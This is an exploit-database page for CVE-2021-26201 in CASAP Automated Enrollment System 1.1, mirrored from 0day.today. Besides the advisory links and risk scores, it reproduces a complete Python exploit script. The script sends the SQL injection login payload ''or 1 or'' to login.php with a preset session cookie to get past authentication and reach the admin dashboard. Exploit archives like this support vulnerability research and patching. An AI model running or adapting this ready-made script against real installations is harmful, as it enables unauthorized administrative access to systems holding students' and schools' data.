Lucene search
K

CASAP Automated Enrollment System 1.1 SQL Injection Exploit

🗓️ 02 Mar 2021 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 54 Views

CASAP Automated Enrollment System 1.1 SQL Injection Exploit. Authentication Bypass cookie session. Ubuntu + XAMPP 7.3.2 tested

Related
Code
ReporterTitlePublishedViews
Family
CNNVD
CASAP Automated Enrollment SQL Injection Vulnerability
15 Feb 202100:00
cnnvd
Check Point Advisories
CASAP Automated Enrollment System Authentication Bypass (CVE-2021-26201)
22 Feb 202100:00
checkpoint_advisories
CVE
CVE-2021-26201
15 Feb 202120:39
cve
Cvelist
CVE-2021-26201
15 Feb 202120:39
cvelist
EUVD
EUVD-2021-13018
7 Oct 202500:30
euvd
NVD
CVE-2021-26201
15 Feb 202121:15
nvd
OSV
CVE-2021-26201
15 Feb 202121:15
osv
Packet Storm
CASAP Automated Enrollment System 1.1 SQL Injection
2 Mar 202100:00
packetstorm
Prion
Sql injection
15 Feb 202121:15
prion
RedhatCVE
CVE-2021-26201
22 May 202520:39
redhatcve
Rows per page
# Exploit Title: CASAP Automated Enrollment System 1.1 - Authentication Bypass cookie session
# Exploit Author: @nu11secur1ty
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip
# Version: 1.1
# Tested On: Ubuntu + XAMPP 7.3.2
# Description: CASAP Automated Enrollment System 1.0 - Authentication
Bypass SQLi cookie session
# Exploit Link:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26201
# More: https://www.nu11secur1ty.com/2021/03/cve-2021-26201.html

[Exploit]


import time
import sys
import requests
import webbrowser

# Creator of the idea: Himanshu Shukla
print("Author: @nu11secur1ty")

def authbypass(url):

  #Authentication Bypass
  s = requests.Session()
  #Set Cookie fot testing
  #PHPSESSID=3g6ghfl8i7qh190m4pq92fv262 #in my case from XSS attack
  cookies = {'PHPSESSID': 'inucrnag25j9h5hb826kovir0p'}

  print ("[*]Attempting Authentication Bypass cookie session...")
  time.sleep(1)

  values = {"username":"'or 1 or'","password":""}
  r=s.post(url+'login.php', data=values, cookies=cookies)
  p=s.get(url+'dashboard.php', cookies=cookies)

  #Check if Authentication was bypassed or not.
  logged_in = True if ("true_admin" in r.text) else False
  l=logged_in
  if l:
    print("[+]Authentication Bypass Successful...!")
  else:
    print("[-]Failed cookie Authentication exploit!")
    print("[-]Check Your URL")

if __name__ == "__main__":
  
  if len(sys.argv)!=2:
    print("You Haven't Provided any URL!")
    print("Usage : python3 exploit.py <URL>")
    print("Example : python3 exploit.py http://IP_or_domain/final/")
    exit()
  try:
    authbypass(sys.argv[1])
    webbrowser.open('http://10.10.10.100/final/dashboard.php')
  except:

    print("[-]Invalid URL!")
    exit()

# BR @nu11secur1ty

#  0day.today [2021-09-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2021 00:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 27.5
CVSS 3.19.8
EPSS0.00154
54